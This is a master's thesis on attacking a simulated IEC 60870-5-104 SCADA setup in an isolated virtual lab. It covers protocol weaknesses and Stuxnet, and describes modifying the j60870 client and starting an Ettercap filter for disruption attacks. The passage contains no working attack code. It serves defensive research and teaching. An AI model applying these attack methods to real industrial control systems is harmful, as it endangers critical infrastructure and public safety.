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Abstract 
Our everyday lives heavily depend on Critical Infrastructures and SCADA systems are one of 

their major backbones. The IT science has managed to create subsystems and protocols that 

combine electrical and mechanical technology to monitor and command a plethora of Remote 

Terminal Units or PLCs, forming a network of devices and computers. Unfortunately, the 

primal protocols do not include the security mindset as they have been built with no vision or 

with air-gapped intensions. Todays’ world though is interconnected and the need to monitor 

everything from a distance is essential. This is also the entry point for a malicious user to 

attempt cyber-attacks against Critical Infrastructures by taking advantage the naivety of 

SCADA implementation at its total. 

In this thesis, a simulated SCADA environment is attacked by using open source tools in 

various ways to achieve the disruption of the normal behavior of the system. The experiments 

are proportionally less disruptive in malfunctions and in numbers but manage to raise attention 

and thoughts around the old protocols that are still being used in many SCADA systems some 

of which in Critical Infrastructures. 
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1. Introduction 
 

Supervisory Control And Data Acquisition systems are a type of Industrial Control Systems 

which collects data and monitors some automation processes across miles away or even at the 

same building. All data are represented to the operators of the system via a Human Machine 

Interface. This graphical representation of the ICS allows the human operators to take control 

of the system and issue commands according to their will such as opening a valve, setting a 

temperature point or starting/stopping a pump [1]. 

The cyber security awareness on SCADA systems has risen from the early beginnings of the 

2000s but it was not only until the famous Stuxnet attack that it entered at a government level. 

Also, many ICS applications are nowadays using common operating systems like Windows, 

well known and vulnerable protocols like TCP and have also spread into smart phones. 

Additionally, the security weaknesses of ICS services are widely available online and many 

Trojans and worms find holes in the network and they infect the ICS’ servers. Many famous 

conventions like DEF CON and Black Hat have increased their talks about industrial systems, 

proving that hackers are also paying attention to these vulnerable systems [1]. All the above 

show that SCADA systems are a target nowadays and it is interesting to explore a few technical 

perspectives during this thesis. 

 

1.1 Purpose of dissertation 

In this master thesis, a virtual environment will be implemented to demonstrate various cyber 

attacks against SCADA software using open source tools. The SCADA software will be 

simulated with programs running on Windows and the network will be implemented using 

virtualization software. The tools used for the attacks are open source, freely available and also 

some programming code was modified by me to extend the software’s capabilities for further 

attack vectors. 

The main goal is to demonstrate that there is a margin for cyber attacks in SCADA systems 

using open source tools. 
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1.2 Assumptions 

The virtual environment created for this thesis is capable enough to simulate SCADA software 

and its main functions. The virtual LAN among the Virtual Machines has also adequate 

bandwidth and speed to transfer any data. The attacks however will try and succeed several 

disruptions of the system which have a rational logic but the results cannot be very accurate 

since a powerful yet mid-range laptop is the backbone of the entire simulation. In general, I 

believe that the results pinpoint the meaning and scope of the attacks at a satisfactory level of 

accuracy. The main focus of this master’s thesis is the IEC 60870-5-104 protocol. 

 

1.3 Dissertation outline 

• Introduction: The first chapter introduces the basic concept of the SCADA system, 

the reasons of its cyber security awareness, the main purpose of the thesis and 

assumptions of the project. 

• Theory: The second chapter describes the definitions of various components, the 

protocols, vulnerabilities and concludes with the most famous attack in SCADA 

systems. 

• Approach and Attack Vectors: The third chapter gives the approach method and 

the implementation of the simulated environment. 

• Attacks and Results: The fourth chapter contains the experiments and discusses 

about the results. 

• Discussion: The fifth chapter offers a general discussion of the entire project as well 

as some thoughts. 

• Conclusion: The sixth chapter is a conclusion of the thesis taking into consideration 

the results and the theory. 

• Future Work: The last chapter contains a few future thoughts around the project for 

further extending my knowledge around the field. 

 



Chapter 2 

8 
 

2. Theory 
 

2.1 Definitions and components of SCADA systems 

As in every system, one has better understanding of it once it is described, analyzed and 

explained to its logical components. This section will provide all the necessary details of the 

SCADA elements that form the system and some of its famous protocols which implement 

the communication layer among the devices. 

 

2.1.1. Definitions and short description 

The abbreviation SCADA stands for Supervisory Control And Data Acquisition. A SCADA 

system is used for monitoring and controlling a plant or industrial infrastructures such as water 

supply, oil refineries, transportation and telecommunications. It coordinates the flow of data 

between the main host computer, where the supervisor resides, and the various RTUs (Remote 

Telemetry Units) or PLCs (Programmable Logic Controllers) which are the field devices [2]. 

 

A SCADA system consists of: 

• A SCADA Central Host Computer or Computers which is also called as Center or 

Master station or Master Terminal Unit and it acts as the server of the entire system 

where operators are informed for the system’s properties at its whole [2]. 

• Remote Terminal Units or Programmable Logic Controllers which are the field 

devices that interface with actuators, valve and other analog systems and provide the 

measurements from the field or receive commands to perform [2]. 

• A communications system that is used to transfer all the data between the field devices 

and the Central Host and it can be a telephone system, radio, satellite, cable and most 

often a combination of all when remote sites require complicated means of data 

transport [2]. 

• The software that supports the entire system via a collection of tools/software that are 

implemented at the communications layer, in the RTUs and mainly in the Central Host 

computer where it provides the operators with a graphical interface that is able to 
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represent data and act as a control center for the field devices. The latter is often called 

as HMI, Human Machine Interface [2]. 

 

 

Figure 1: Typical SCADA system [2] 

 

2.1.2 Remote Telemetry Units and Programmable Logic Controllers 

In general, there are two kinds of field devices, the first that consists of simple measurement 

transmitters such as water flow, temperature flow, power consumption and the second that 

consists of actuators, switchboards and electronic dosing facilities. The formers are the “eyes 

and ears” of a SCADA system while the latter play the role of the “hands” providing 

automation [2]. 
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2.1.3 Communications network 

The communications network is the mean to transmit and receive data between the Central 

Host computer and the field devices. It includes the medium, which may be cable, telephone 

or radio, the protocol and the network devices that help in the forwarding of the data such as 

routers, modems and antennas. 

In a closed environment where all the components of the SCADA system are nearby such as 

a factory, the cable is the most profitable solution. This is not the case though for 

environments that are spread in a wide area. Telephone lines are used for longer distances and 

there are two options depending on the needs of the SCADA system, leased or dial-up. 

Whenever there is a requirement for online monitoring of remote sites, the leased line is used 

but this is expensive since a telephone line per workstation is needed. Dial-up lines are 

performing well and economically if the SCADA system needs to monitor the substation at 

certain intervals e.g. hourly by dialing a certain number and receiving commands and/or 

transferring the recorded data. 

As technology evolves, much cheaper solutions are found and nowadays the use of radio offers 

more bandwidth and costs less. Radio modems are the required equipment for the 

transmission of data and in case of non-visual remote sites to the main station, repeaters are 

used to achieve communication [2]. 

 

2.1.4 Central Host 

The central host computer is the hardware device that represents all the received data from 

the RTUs to the operator of the SCADA system. It is most likely that this is a single computer 

that runs specific SCADA software, a user interface to monitor and control all the field devices 

from a central point. The terminals are connected via Local Area Network or pretty often via 

Wide Area Networks in order to transmit or receive data and commands. In the past, the 

vendors offered specific hardware for the SCADA operators which was incompatible with 

other competitors and required additional cost and time to be expanded and include more 

devices. As time passed by, the increased usage and processing power of the office computers 

made them capable of running SCADA software with new high detailed graphics. 
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Furthermore, these office computers are now able to be linked with GIS systems, hydraulic 

software modeling software, drawing management systems, work scheduling system and 

information databases [2]. 

 

2.1.5 Operator Workstations 

The Central Host computer of a SCADA system acts as a Server to the network and the 

Operator Workstation is its client. It is often a computer-based hardware that runs a software 

to connect to the Central Host computer. The software that connects to, accepts commands 

from and sends information to the Central Host is named Human Machine Interface a.k.a. 

HMI. The operators are using the HMI software to request certain actions by the Operator 

Workstations based on the information that they have from the Central Host. A SCADA 

software that combines all factors of design, speed, performance, integrity is most likely 

successful. Of course, this increases the cost of the software which also comes with the 

complexity and scalability of the SCADA system [2]. 

 

2.1.6 Software 

The critical needs and requirements of a SCADA system leads to two software design 

implementations, a proprietary which is built upon a specific system platform and commercial 

software that can be used with various vendors. The former solution offers control 

functionality and focuses on processes and as with all hardware-specific software, it uses all 

the sources of the platform while the latter, as a commercial product, offers flexibility and 

compatibility over a wide range of products.  

 

In the following scheme, we will examine the typical software used in the components of a 

SCADA system. 

• Central Host operating system: It is the operating system that the hardware is running 

upon which the HMI software will be installed. Since the Central Host is most likely a 
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computer-based hardware, this software might be a UNIX or other popular operating 

system [2]. 

 

• Operator terminal operating system: It is the software that controls the Central Host 

and along with that for the central host computer, it contributes to the networking of 

the Central Host and the operator terminals [2]. 

 

• Central Host computer application: This is the HMI software that is run on the Central 

Computer and is responsible for receiving data from and issuing commands to the 

Remote Telemetry Units. All the information is displayed by a graphical interface with 

various screens and control functions in order to represent to the operator the entire 

SCADA state [2]. 

 

• Operator Terminal application: It is the software application that offers to the end user 

to interact with the Central Host computer application mentioned before and it is 

usually a subset of it [2]. 

 

• Communications protocol drivers: The Field devices and the Central Host computer 

need to communicate in the same manner so that the exchanged data are always in the 

right interpreted form for both parties. The software that plays this role is the protocol 

drivers [2]. 

 

• Communications network management software: As in every system that is expanded 

beyond a Local Area Network, a software is needed to be in control of the 

communications network and also to test them for latencies and failures [2]. 

 

• RTU automation software: Even though these units receive command and measure 

data, they still have some software or firmware that runs automation applications and 

data processing tasks within the unit. These tasks are local and the local staff maintains 

them [2]. 
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All the aforementioned software is part of the SCADA system that is defined, developed, 

designed, deployed and tested according to its needs [2]. 

 

2.2 Architecture of SCADA systems 

The components of a SCADA system consist of computer-related components therefore the 

entire system follows the evolution of the Information Technology. As IT evolves, SCADA 

systems also enjoy its benefits and creates distinct generations of architectures. From the 1960s 

till today, SCADA has met three main phases of development, central, distributed and 

networked architectures or generations [3]. In the following paragraphs, a sharp description 

of these architectures will take place: 

1. First Generation -  Monolithic 

2. Second Generation – Distribution 

3. Third Generation – Networked 

 

2.2.1 Monolithic SCADA systems 

In the beginning of SCADA systems, the networks, as we know them today, were fictional 

since the concept of a main computer was the dominant model of those days. As a result, a 

Monolithic SCADA system was existent with no connectivity to any other system but only to 

its RTUs. Even though there was a remote communication, via WAN, the solo purpose of 

this implementation was to simply achieve communication with the field device and nothing 

else, no other form of data could be transferred [2]. 

The form of communication was a specific protocol that was designed and deployed by the 

RTU vendor and its simple target was to command the device and acquire its data without any 

further functionality or future use. The connections to the Central Host were through the bus 

level through an adapter. There was a second Central Host in parallel with the primary one 

which only monitored its mirror and in case of a failover, the redundant Host took over. This 

was the redundancy plan of the Monolithic SCADA systems. In the following Figure, an 

overview of a 1st generation SCADA architecture is presented [2]. 
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Figure 2: First generation SCADA system – Monolithic [2] 

 

 

2.2.2 Distributed SCADA systems 

The distributed next generation SCADA systems were based on distributed processing power 

by means of functionality separation. Multiple typical computers were performing specific 

processes and were interconnected via a LAN to exchange information. Processes like RTU 

communication, Human Machine Interface software for the operators, calculations or 

database maintenance were some of the many that the next generation SCADA systems were 

performing. By distributing the tasks, the entire architecture enjoyed more combined 

processing power than a single powerful unit could reach [2]. 

The communication among the mini-computers was achieved via a LAN interface but 

implemented only locally. The vendors created their own protocols and optimized the traffic 
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among the computers but this in turn created incompatibilities in connecting other vendors’ 

products [2]. 

A distributed architecture offered more than combing CPU power and also increased 

redundancy. The next generation SCADA system had many computers using the HMI and if 

one failed for any reason, others could instantly take place by simply using the same software 

without even monitoring for the failover. The Central Host was a distributed set of mini 

computers and this upgraded its entire infrastructure to the core of the system but the 

hardware, software and peripheral devices were still to be provided by the vendor, not to 

mention that the WAN interface remained intact and a step behind this evolution. The field 

devices were still using the limited protocols and the specific network traffic they were built 

for [2]. A typical 2nd generation SCADA system is shown in the figure below: 

 

 

Figure 3: Second generation SCADA system – Distributed [2] 
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2.2.3 Networked SCADA systems 

The evolution of SCADA systems, as aforementioned, is affected by the IT pioneer. The 

second-generation systems suffered from limited RTUs which only performed specific 

operations and the main computers, except from moving one step further to 

intercommunication, were facing the vendor-specific casualties of their battle for the market 

domination. The need to connect peripheral devices of different vendors brought the 

utilization and acceptance of open standards, eliminating the cumbersome logic of vendor-

selected hardware [2]. 

Also, the technological evolution managed to extend the SCADA functionality from the Local 

Area Network to the Wide Area Network, thus putting the RTUs into the system by 

introducing the IP protocol for the communication. Vendors were now able to manufacture 

field devices that use Ethernet connections and by this, the role of the communications 

computer differs from the rest processes [2]. 

As with previous generations, the redundancy of the system needs to be assured. The 

distributed systems offered great reliability if a computer with a certain functionality failed but 

in a not so rare scenario of a total disaster, there was no back up plan. Distributed SCADA 

systems offer the advantage of extending the aforementioned redundancy from different 

computers to different physical locations that are interconnected. Therefore, in a total disaster 

of one site, another could take place and in Critical Infrastructures, this is an enormous 

advantage compared to previous generations [2]. The figure depicts a typical networked 

SCADA system. 
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Figure 4: Third generation SCADA systems – Networked [2] 

 

 

2.3 SCADA communication protocols 

The SCADA basic architecture consists of a Central Host, which runs an HMI software, and 

various RTUs that collect information and receive commands from the central operators. A 

SCADA communication protocol is the means for data transferring and command issuing in 

a master/slave architecture. There are three most used protocol standards, IEC 60870-5 which 

is particularly common in Europe and will be the central focus of this thesis, ModBus and 

DNP3 most frequently used in the energy sector. All the aforementioned protocols are based 

on TCP/IP [4]. 
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2.3.1 IEC 60870-5 

This open standard is created by the International Electromechanical Commission and was 

launched in 1995 under companion name IEC 608705-5-101. Almost six years later, the IEC 

60870-5-104 companion was used, leaving most of the higher application level functions and 

data objects intact but it introduces the definition of data transports of the protocol’s messages 

through a network [4]. However, the transmission of messages is carried out without 

encryption, in clear text and without any form of authentication thus that it relies on TCP/IP 

which already has cyber-security issues. [5]. In the following paragraphs, a short but essential 

description of the 60870-5-104 structure will be explained. 

The protocol frame structure is named APDU which stands for Application Protocol Data 

Unit and consists of two parts: The Application Control Protocol Information (APCI) and 

the Application Service Data Unit (ASDU) [4]. The three control types that are used, 

structured in the Least Significant Bits, are Numbered Information Transfer (I-format), 

Numbered Supervisory Functions (S-format) and unnumbered Control Functions (U-format) 

with values 00, 10 and 11 respectively [6]. A figure below details in graphic the entire format. 

 

 

Figure 5: IEC 60870-5-104 telegram format [6] 

 

The ASDU structure consists of two objects, the data unit identifier and the data payload of 

the information object. The data unit identifier in turn consists of the Cause of Transmission 
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field (COT) which is used by the destination to interpret the carried payload, the address that 

determines the data’s identity, the Variable Structure Qualifier and lastly the Type of data. 

The Type ID field is comprised of an octet that represents information type, defined by IEC 

and it is categorized into 6 groups as shown and explained in Table 1 below. 

 

 

Figure 6: ASDU message structure under IEC 60870-5-101 [7] 

 

Type ID range Group  

1-21 

30-40 

Process information in monitoring direction 

Process telegrams with long time tag 

45-51 

58-64 

Process information in control direction 

Command telegrams with long time tag 

70 System information in monitoring direction 

100-107 System information in control direction 

110-113 Parameter in control direction 

120-127 File transfer 

 

Table 1: Type ID groups under IEC 60870-5-101 [6] 
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In order to further understand the Types of ASDU, the group of Parameter in control direction of 

Table 1 is presented in the following Figure. 

 

Figure 7: Group of messages in information in control direction [6] 

 

The Variable Structure Qualifier bit specifies the method of addressing the information objects. 

A value of 0 indicates that the ASDU may consist of one or more than one equal information 

object. The number of objects defines the number of information objects and is binary coded. 

A value of 1 indicates that there is a sequence of equal information objects that originate from 

the information object. The information elements are identified by increasing numbers +1 

from the offset. The number of objects is also binary coded [6].  

 

The Cause of Transmission (COT) field directs the ASDU to a specific application task to be 

processed. It is important to underline that the value of zero is not used. There are various 

indications for the COT data field such as periodic, spontaneous, activation and data transmission. 

The entire list is detailed in [6]. It is important also to mention that there is a test flag and a 

P/N bit to indicate Positive and Negative values. 

 

Finally, the IEC 60870-5-104 protocol is by default assigned to the 2404 TCP port [6]. 
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2.3.2 Modbus 

Gould Modicon (now Schneider Electric) developed the Modbus protocol back in 1979 and 

according to a survey nearly in 2004, more than 40% of industrial applications were using the 

protocol. At the same period of time around 20 to 30 manufacturers were producing 

equipment with the Modbus protocol and combined with the previous survey’s results, 

Modbus protocol can be regarded as a de facto standard for industrial systems. It’s worth 

mentioning that there is also the Modbus plus protocol [7]. 

 

Technically speaking, Modbus is using the master/slave principle with only the master starting 

the transaction. The protocol specifies the Protocol Data Unit (PDU) which consists of a 

function code and the data field, regardless of the communication layers. Some basic functions 

are depicted in Figure 9. The communication channel is using frames for transmission and the 

information of the message on master’s behalf contains the address of the receiver, what the 

receiver must do and the necessary data to perform the assigned command. The protocol also 

implements an error mechanism through parity, redundancy check or CRC. The reply message 

contains the corresponding information; the slave address, the action it performed, what was 

the result of the action and the error check mechanism. The two additional fields which expand 

the PDU, the address and the error mechanism, implement the Application Data Unit as 

shown in Figure 8. The messages can be exchanged in two ways, a) ASCII, which is readable 

and b) RTU which is more compact and faster due to its binary form being half in size 

compared to the ASCII mode. The RTU is the preferred mode in the industry [7]. 

 

 

Figure 8: General Modbus Frame [8] 
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Figure 9: Modbus Function Codes' descriptions [4] 

 

The Modbus organization, Modbus.org, extended the protocol in order to work with TCP by 

encapsulating the PDU with the Modbus TCP ADU, using the 502 port, and by adding it an 

extra header called Modbus Application Protocol (MBAP). The following Figure shows the 

Modbus TCP ADU [4].  

 

 

Figure 10: Modbus TCP ADU [8] 
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In short, the MBAP header consists of 4 fields, described in the following table. 

Fields  Length  Description Client  Server  

Transaction 

Identifier  

2 Bytes  Identification of a 

MODBUS 

Request / 

Response 

transaction.  

Initialized by 

the client  

Recopied by the 

server from the 

received request  

Protocol Identifier  2 Bytes  0 = MODBUS 

protocol  

Initialized by 

the client  

Recopied by the 

server from the 

received request  

Length  2 Bytes  Number of 

following bytes  

Initialized by 

the client 

(request)  

Initialized by the 

server (response)  

Unit Identifier  1 Byte  Identification of a 

remote slave 

connected on a 

serial line or on 

other buses.  

Initialized by 

the client  

Recopied by the 

server from the 

received request  

 

Table 2: Modbus MBAP Header [8] 

 

2.3.3 Distributed Network Protocol 3 (DNP3) 

It was in the early 90s when Harris Controls Division, Distributed Automation products 

developed the DNP3 open protocol to finally release it in November 1993 to the industry 

based DNP3 Users Group. The protocol gained wide acceptance in the industry in various 

geographical regions like North and South America, South Africa, Asia, Australia and New 

Zealand. It is also very popular in Europe where it competes the IEC protocol with the latter 

being widely used there. It is worth to mention though that DNP3 is accepted in a broader 
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range of industry applications such as water/waste, security and oil & gas while the IEC 

protocol is mainly linked with the electrical distribution industry [7]. 

The DNP3 protocol is specifically designed for SCADA applications and its purpose is to 

transfer relatively small packets of data in a reliable way and in a deterministic order. The 

benefit of being an open standard is that it offers interoperability when it comes to 

manufacturers. A SCADA system using the DNP3 protocol is not required to own particular 

models of a specific manufacturer. The RTUs of one supplier can communicate with IEDs of 

another supplier which helps the administration of the system to choose products based on 

an economic or a specific upgrade factor [7]. 

The system topology of a DNP3 protocol includes the Master/Slave scheme, Multidrop from 

one Master, Hierarchical with intermediate data concentrators and multiple Masters, as 

depicted in Figure 11 below [7]. 

 

 

Figure 11: DNP3 system topologies 

 

The protocol is a four-layer subset of the OSI 7-layer model. The layers are the application, 

data link, physical and pseudo-transport. The latter includes routing, flow control of data 

packets and transport functions like error-correction and assembly/disassembly of packets. 

The Data Link uses two Start Bytes to help the receiver understand where the frame begins. 
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It also contains a 1-byte field of length which specifies the number of octets until the end of 

the frame excluded the CRC section. Note that the data link layer may only handle a maximum 

of 250 data octets. A field called Link Control is used for coordinating link layers and has 

length of 1 byte. The Destination Address is a 2-byte field and identifies the receiver of the 

frame while the Source Address field identifies the sender. The two-byte addressing scheme 

provides a total of 65.536 addresses for the DNP3 protocol. An explanatory figure of the Data 

Link frame of DNP3 is shown in Figure 12 [4]. 

 

 

Figure 12: DNP3 Data Link Frame [4] 

 

The application layer is used also to serve the receiver’s buffer size by breaking down the 

messages to 2048 or 4096 bytes. The fragment of 2048 bytes may also be broken into 9 frames 

for the transport layer before passing on to the Data Link layer [4]. 

 

2.4 Vulnerabilities 

SCADA systems are designed to run for years without rebooting and they often have limited 

resources (connection speed or processing power) which makes delays not an option. 

Therefore, antiviruses or cryptography will offer additional computational costs and latency in 

traffic due to extra packets needed correspondingly. They also carry the burden of being built 

upon isolated networks or air-gapped networks, meaning that there was no security mindset 

[9]. The IEC 60870-5-104 protocol transmits its messages in clear text and there is no 

authentication mechanism, while all this happens over TCP which already has security issues 

by itself [5], making eavesdropping a very easy task once being inside the network. Modbus 

and DNP3 also suffer of the same vulnerabilities. All previous factors create a very ideal 
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environment for attackers, especially when the outdated protocols, software and machines are 

connected to the internet because management decided a rough modernization of its Industrial 

Control System to enjoy new capabilities, ignoring the exposure of the entire system to a highly 

risk environment. 

 

2.5 Real Cyber-attacks: The case of Stuxnet 

In this chapter, I will shortly describe the most famous SCADA worm ever created till now, 

its history and reasons of its creation and present the technical details of this sophisticated 

cyber weapon. 

 

2.5.1 Political Background and the creation of an ICS cyberweapon 

The origins of the Stuxnet idea goes back to 2006 when the White House already had a strong 

belief, given by its agencies, that Iran was enriching Uranium in Natanz, a power plant using 

peaceful nuclear energy. At that time, president George Bush could not sustain another 

military involvement in the Middle East. He was complaining to his secretary of State 

Condoleezza Rice and his national security adviser Stephen Hadley, that he only had two 

options regarding Iran’s nuclear activity: let them get the bomb or go to war against them to 

stop it. But the president of the U.S. was repeatedly asking for “a third option”. This ignited 

an idea in the NSA’s headquarters; to secretly create a cyberweapon and infect the SCADA 

system of the entire plant with a worm that would eventually destroy its centrifuges without 

Iranians noticing about it [10] [11]. Surpassing the spies and the political background story, 

Stuxnet was a state of the art cyber weapon that had a very specific target but also a very 

difficult one. It is considered even now, the most famous industrial worm that aimed SCADA 

systems and the reason is that its creators are unofficially said to be nation state actors, many 

claiming to be the U.S. and Israel. The NSA refers to it as Olympic Games or OG while 

Stuxnet is the name given by security response personnel [11]. 
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2.5.2 Technical analysis of Stuxnet worm 

Stuxnet’s attack vector is divided in 3 steps. At first, it targeted Microsoft Windows machines 

and their networks, secondly it was repeatedly seeking for Siemens Step7 software that 

programs Industrial Control Systems and finally it compromised the Programmable Logic 

Controllers. The first attack vector was implemented by using the 0-day LNK vulnerability 

which is the shortcut extension in MS Windows in order to spread itself into USB sticks. The 

Natanz nuclear facility was an air-gapped environment meaning no connectivity to the external 

world therefore a USB stick was a physical and practical way to infect the isolated system. The 

second attack vector included the shared printer spooler vulnerability to make sure the worm 

was being spread across the entire network. The last step used two vulnerabilities that were 

about privilege escalation in Windows operating systems [12]. A total of 4 zero-days exploits 

were used at the same time in a single worm, making it an extremely sophisticated piece of 

work. Besides this cutting edge code, the worm was also using among others a few significant 

features like a custom encryption algorithm, it was running in memory – one of the first 

innovations of that era, it had antivirus evasion techniques, it used an uninstall mechanism set 

to self-destroy the worm on the 24th of June 2012, it contained man-in-the-middle code to 

attack the SCADA software and finally, it deployed legitimate digitally signed device drivers 

which were physically stolen by two private companies [13].  

Digging more into the logic and its code, Stuxnet was a 500-kilobyte computer worm that 

targeted only Siemens S7 PLCs by searching their fingerprint. When the worm found one, it 

loaded rogue code to the controller and even though 100.000 copies were found worldwide, 

none became active [14]. It instead was searching for a hard-coded value of 6 lines of 

centrifuges, a total of 164 which was the exact number of the configuration of the Natanz 

nuclear factory [11]. 
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3. Approach and attack vectors 
 

This chapter describes and analyzes classic but serious attack vectors against SCADA systems 

and specifically IEC 60870-5-104 protocol which is mostly used in Europe. A real-time 

simulation environment is implemented, with several virtual machines connected to the same 

virtual LAN. The adversary is performing the attacks through a virtual machine, already 

connected to the same LAN of the SCADA simulated software. In this project, I did not 

examine attack methods to infect the SCADA system from external networks; the attacker is 

considered to be already a part of the local network. 

 

3.1 System setup 

The system consists of two different sections, the virtualized SCADA simulators and the 

adversaries. Both sides are connected to the same virtual LAN, named VMNet5 with a range 

of IPs among 192.168.5.0/24 but all machines have been given static IPs, described in 

Appendix A along with all the rest specifications. 

The SCADA side which will be the target, consists of two virtual machines running on 

Windows 7, a very stable operating system which is compatible for both SCADA simulator 

programs. To avoid further evasion techniques and to achieve unobstructed communication, 

both integrated firewalls were turned off. 

The attacker side, consists also of two virtual machines, running Kali Linux 2017.1 and Ubuntu 

16.04 LTS operating systems. The former includes over 600 penetration testing tools, capable 

of performing an enormous range of attacks of various vectors but in this thesis I will use only 

a slight portion of these tools. The latter is used for compatibility reasons, since the custom 

Ettercap plugin used to perform MiTM attacks was unable to be compiled smoothly by the 

Kali Linux platform. 
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The next figure displays an overall view of the entire system in simulation and attacking. 

 

 

 

 

 

 

 

 

3.2 System implementation 

The entire system is hosted in a virtual environment which is implemented using VMWare 

Workstation v12.5. The virtualization software is running on a SONY Vaio laptop with the 

following specifications. During the setup, I made sure that all VM instances are able to run 

simultaneously without delays and that they were interconnected.  

 

System Specifications 

Operating System Windows 10 Home 64bit 

CPU Intel i7 4500U at 1.8 GHz 

RAM 8 GB DDR3 

Hard Drive 500GB SSD 

Virtualization Software VMWare Workstation v12.5 

 

Table 3: Host computer specification 

 

In order to ensure an air-gapped environment, I created a new Virtual adapter called VMNet5, 

configured in Host-only mode and using IP range 192.168.5.0/24. All virtual machines were 

connected solely to this adapter.  

Attacker side  Target side 

 
Kali Linux  

VMNet5 

Virtual LAN 

 

Windows 7 

IEC Server 

 
Ubuntu  

Windows 7 

QTester104 

Figure 13: Overview of SCADA simulated system and attackers 
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3.2.1 SCADA side 

The following descriptions are about the Virtual Machines and their running software that 

simulates a typical SCADA communication through the VMNet5 virtual host-only adapter. 

 

3.2.1.1 IEC Server Virtual Machine 

This virtual environment is used to run the IEC Server 104 software which simulates a field 

device (RTU) using the IEC 60870-5-104 protocol in a SCADA system. The figure number 

14 shows the Graphical User Interface which is separated into 3 horizontal panels. 

The top panel (from left to right) contains i) a short but not complete list of IEC 60870-5-104 

commands which can be added or removed to the middle panel with the adjacent buttons, ii) 

a tick-box to pause the simulation (if unchecked), iii) the buttons to start or stop the simulation 

using the port number in the text field between them, iv) and the save or load buttons which 

offer the option to store and retrieve configurations. 

The middle panel is a blank area where all the commands are displayed after being added and 

can be further configured. It contains all the necessary fields of the IEC protocol plus the 

option to provide automated simulation via the tick-box called Sim. The button SIMParam. 

offers automation options which are time period and value. 

The lower panel displays various information options such as the data being sent to the client, 

new connections, a list of clients that are connected to the IEC Server and the option to load 

a simulation file and start simulating it. 

 

 

Figure 14: IEC Server 104 GUI 
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The tool, at version 1.0.3-35, implements 20 messages in total, 12 of which are monitor 

messages while the rest 8 are control ones. The table below lists the message types and gives 

a short description for each one [15]. 

IEC SERVER v1.0.3 MESSAGE IMPLEMENTATION 

Monitor Messages Control Messages 

M_SP_NA Single-point information C_IC_NA Interrogation command 

M_DP_NA Double-point information C_CI_NA Counter interrogation command 

M_ME_NA Measured value, normalised value C_SE_NA Set-point command, normalised 

value 

M_ME_NB Measured value, scaled value C_SE_NB Set-point command, scaled value 

M_ME_NC Measured value, short floating point value C_SE_NC Set-point command, float value 

M_IT_NA Integrated totals C_SC_NA Single command 

M_SP_TB Single point information with time tag C_DC_NA Double command 

M_DP_TB Double point information with time tag C_CS_NA Clock synchronization command 

M_ME_TB Measured value, scaled value with time tag  

M_ME_TD Measured value, normalised value with 

time tag 

M_ME_TF Measured value, short floating point value 

with time tag 

M_IT_TB Integrated totals with time tag 

 
Table 4: IEC Server v1.0.3 Message Implementation 

 

3.2.1.2 IEC Client Virtual Machine 

This virtual environment is used to run the QTester104 software. It is a software that receives 

data from a field device (RTU) using the IEC 60870-5-104 protocol in a SCADA system. In 

this thesis, it is connected to the IEC Server 104 and displays all the simulated information the 

latter is sending. The Graphical User Interface is separated into 3 panels. 

The top panel contains connection options as well as command options. In the field Remote IP 

Address, the RTU’s IP is entered. By default, the software uses port number 2404 to connect 

to the IEC Server but this may be modified in the file qtester1-4.ini along with other options. 
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In this project, the default value of 2404 is selected. The fields below the connection options 

are used to send commands to the IEC Server by entering values and specifically the Information 

OBject Address value, the value of the command and the type of the command by selecting it 

from a list. The QTester104 at version 1.23 implements 13 commands in control direction. 

The lower left panel, displays a scrolling view of the communication log with the Servers as 

well as any messages regarding new connections, disconnections and errors. 

The lower right panel, displays the information received from the Server and specifically the 

Address of the Object (ΙΟΒ), its Value, its command Type, the Cause Of Transmission, any Flags 

that accompany the message, the number of messages received by the Server for this IOB 

(Count) and the time that were received. In the following figure, the GUI of the software is 

already showing some values after its successful connection with the IEC Server 104. 

 

Figure 15: QTester104 GUI displaying received values from the IEC Server 104 

  

3.2.2 Attacker side 

The next two Virtual Machines are part of the attacker’s side and contain modified open source 

tools to deploy the attacks against the SCADA side. As aforementioned, the operating systems 

in use are Kali Linux and Ubuntu Linux, both using tools able perform to perform attacks. 

 

3.2.2.1 Modified OpenMUC j60870 console client 

The QTester104 software does not implement all commands of the protocol, so I had to use 

the j60870 open source software to deploy more attacks and to demonstrate the variety of 

options an attacker has at his disposal. This tool was used in Kali Linux operating system. 
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The j60870 simulator is implemented using Java programming language, therefore I further 

developed the code to create the commands I needed for the tests. The software comes 

bundled with only 2 protocol commands if run without development. I downloaded, stored 

and extracted the bundle at Kali’s Desktop folder, creating folder “j60870”. In the subfolder 

“run-scripts”, I executed the script named “j60870-console-client -h 192.168.5.3 -p 2404” and 

connected to the already running IEC Server 104 at that specific IP and port. The figure below 

shows the default console menu. 

 

 

Figure 16: OpenMUC j60870 console client default menu 

 

I opened the source file “ConsoleClient.java” with Sublime text editor to make the necessary 

modifications. The file is located in folder “j60870/src/main/java/org/openmuc/j60870/app”. 

After inspecting the code and understanding its logic through the documentation [16], I added 

the three commands I needed to implemented the attacks. This was done in the following 

steps. 

First, I added the keys that will correspond to the new commands; they are the last three, as 

shown in Figure 17. 

 

Figure 17: Adding keys for the new commands in j60870 console client 
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Afterwards, I imported the necessary Java classes that will be used when the user selects the 

new action keys. These classes were “IeQualifierOfResetProcessCommand” and 

“IeQualifierOfCounterInterrogation” and both belong to the package “org.openmuc.j60870”. 

Each key corresponds to a certain action and in the ConsoleClient.java this is implemented in 

a switch command. I added the last three cases that correspond to the new commands as 

below. 

 

Figure 18: The new actions that implement the new commands in the j60870 console client 

 

In the case of the C_RD_NA_1 command, the constructor of the class required the IOB 

address of the RTU. In order to provide this information to the constructor, I created an extra 

command line parameter when launching the j60870 console client with argument “-iob 

{number}”. Default is number 7 but unless an object has that address, the action will not be 

performed. 
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Figure 19: Extra argument when launching the j60870 console client 

 

Finally, I added the actions to the actionProcessor object along with their description that will be 

displayed in the main menu of the client upon launch. 

 

Figure 20: Adding the new actions to the actionProcessor object with description 

 

To build the entire project, I used the bundled tool called gradle and issued the command 

“gradlew build”. After its successful build, I relaunched the client to check the new menu and 

functionality. The next figure displays the result. 

 

Figure 21: The new modified menu of the j60870 console client 

 



Chapter 3 

36 
 

3.2.2.2 Custom Ettercap filter 

One of the powerful features Ettercap has, is the development of custom plugins or filters 

that can perform certain actions using programming language or filtering traffic. After studying 

its manual [17], I wrote a custom Ettercap filter in order to perform an isolation attack. After 

the full update of Kali Linux, Ettercap was at its most recent version 0.8.2. Upon launch, I 

